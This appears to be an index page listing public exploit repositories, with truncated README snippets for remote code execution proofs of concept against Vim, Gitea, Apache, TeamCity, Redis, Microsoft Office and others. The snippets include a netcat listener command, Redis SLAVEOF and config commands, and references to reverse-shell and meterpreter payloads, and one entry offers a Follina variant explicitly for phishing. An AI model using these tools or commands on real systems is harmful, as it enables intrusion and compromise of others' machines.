ace-vim-neovim

ace-vim-neovim Vim/Neovim Arbitrary Code Execution via Modelines CVE-2019-12735 Usage 1. listen nc -vlp 9999 2. ace vim pocshell.txt And then, your localhost will get shell...

CVE-2020-14144-GiTea-git-hooks-rce

CVE-2020-14144 - GiTea authenticated RCE A script to exploit CVE-2020-14144 - GiTea authenticated Remote Code Execution using git hooks Features Automatic reverse shell payload generation from IP and PORT Upload custom shell script and execute it remotely with option -f Automatic login with...

cve-2021-3164

Church Rota version 2.6.4 is vulnerable to authenticated remote code execution. The user does not need to have file upload permission in order to upload and execute an arbitrary file. After logging into Church Rota, send the following request, replacing with your PHPSESSID: POST...

CVE-2019-0604_sharepoint_CVE

CVE-2019-0604 CVE-2019-0604 From https://www.thezdi.com/blog/2019/3/13/cve-2019-0604-details-of-a-microsoft-sharepoint-rce-vulnerability...

uc_browser_poc_CVE-2022-1364

UCBrowserExploit.js Introduction All content below refers to the UC Browser exploit explored in this article posted by Interrupt Labs. Getting Started This exploit relates to previous versions of the UC Browser that include the RCE bug of CVE-2022-1364. This bug was patched in the UC browser in...

CVE-2021-42013-Apache-RCE-Poc-Exp

Vulnerability Name Apache Remote Code Execution CVE-2021-42013 Vulnerability Description Apache HTTP Server is an open-source web server from the Apache Software Foundation. It is fast, reliable, and extensible via a simple API. It was discovered that the fix for CVE-2021-41773 in Apache HTTP...

CVE-2015-3073

CVE-2015-3073 This vulnerability allows remote attackers to bypass API restrictions on vulnerable installations of Adobe Reader. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within...

CVE-2024-21534

CVE-2024-21534: Remote Code Execution Vulnerability in jsonpath-plus =10.0.7 Summary This repository contains a Proof of Concept PoC exploit for a critical Remote Code Execution RCE vulnerability in the jsonpath-plus package, affecting versions prior to 10.0.7. The issue stems from improper input...

Mybb-XSS_SQL_RCE-POC

Mybb-XSSSQLRCE-POC Mybb associate CVE-2021-27890 & CVE-2021-27889 to RCE poc Before Use: There are two files here: 1.js and attacklisten.py You should modify these two file: 1.js: modify the mybb forum url and attack url: var bashurl = 'http://192.168.92.164/mybb/mybb-mybb1825' mybb forum url var...

CVE-2023-42793

CVE-2023-42793 - TeamCity Admin Account Creation lead to RCE use exploit.py first to creat administrator account for you and then use rce.py to execute commands on the target, and for reverse shell check this exploit script Description This script exploits CVE-2023-42793 to create an admin accoun...

CVE-2019-19609-EXPLOIT

CVE-2019-19609-EXPLOIT Exploit for CVE-2019-19609 in Strapi Remote code execution in strapi-3.0.0-beta.17.7 or earlier. I was faced with a scenario with this vulnerability, but without a public exploit. I decided to create my own and share it here. Instalation git clone...

CVE-2022-22954-Testi

CVE-2022-22954-Testing Testing the CVE-2022-22954 Vulnerability VMware Workspace ONE Access and Identity Manager contain a remote code execution vulnerability due to server-side template injection. A malicious actor with network access can trigger a server-side template injection that may result ...

CVE-2021-40539

CVE-2021-40539 CVE-2021-40539: ADSelfService Plus RCE Vulnerability I: Vulnerability Description ZOHO ManageEngine ADSelfService Plus is ZOHO's integrated self-service password management and single sign-on solution for Active Directory and cloud applications. CVE-2021-40539 Zoho ManageEngine...

CVE-2019-7216

CVE-2019-7216 In filechucker.cgi version 5.09 and filechuckerprefs.cgi version 4.99e-free-e02 there is a filter bypass, upon upload, that can lead to remote code execution providing that the user uploads a malicious file. The bypass occurs when filechucker attempts to filter out the file extensio...

CVE-2019-16759

CVE-2019-16759 Vbulletin RCE Exploits...

cve-2021-41773

CVE-2021-41773 CVE-2021-41773: Path Traversal Zero-Day in Apache HTTP Server Exploited Apache HTTP Server CVE-2021-41773 Exploited in the Wild CVE-2021-42013: Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 incomplete fix of CVE-2021-41773 Shodan oneliner shodan...

CVE-2022-30190-follina-Office-MSDT-Fixed

'Follina' MS-MSDT n-day Microsoft Office RCE — Modified Version Based on the project from https://github.com/chvancooten/follina.py, modifications have been made to allow custom specification of the docx template file, making it easier for phishing use in real-world scenarios. After editing your...

CVE-2026-23744-PoC

Description MCPJam inspector is the local-first development platform for MCP servers. Versions 1.4.2 and earlier are vulnerable to remote code execution RCE vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. Sinc...

Redis-RCE

Redis-RCE remote code execute for redis4 and redis5 python code from https://github.com/Ridter/redis-rce 通过加载so文件，扩展新命令system.exec进行 命令执行成功 strings explin.so |grep sys system system.exec syserrlist.h sysnerr syserrlist syssiglist system.exec 0x01 SLAVEOF 192.168.2.18 8989 0x02 config set dir /tmp...

CVE-2017-0199

CVE-2017-0199 Exploit toolkit CVE-2017-0199 - v2.0 is a handy python script which provides a quick and effective way to exploit Microsoft RTF RCE. It could generate a malicious RTF file and deliver metasploit / meterpreter payload to victim without any complex configuration. Release note:...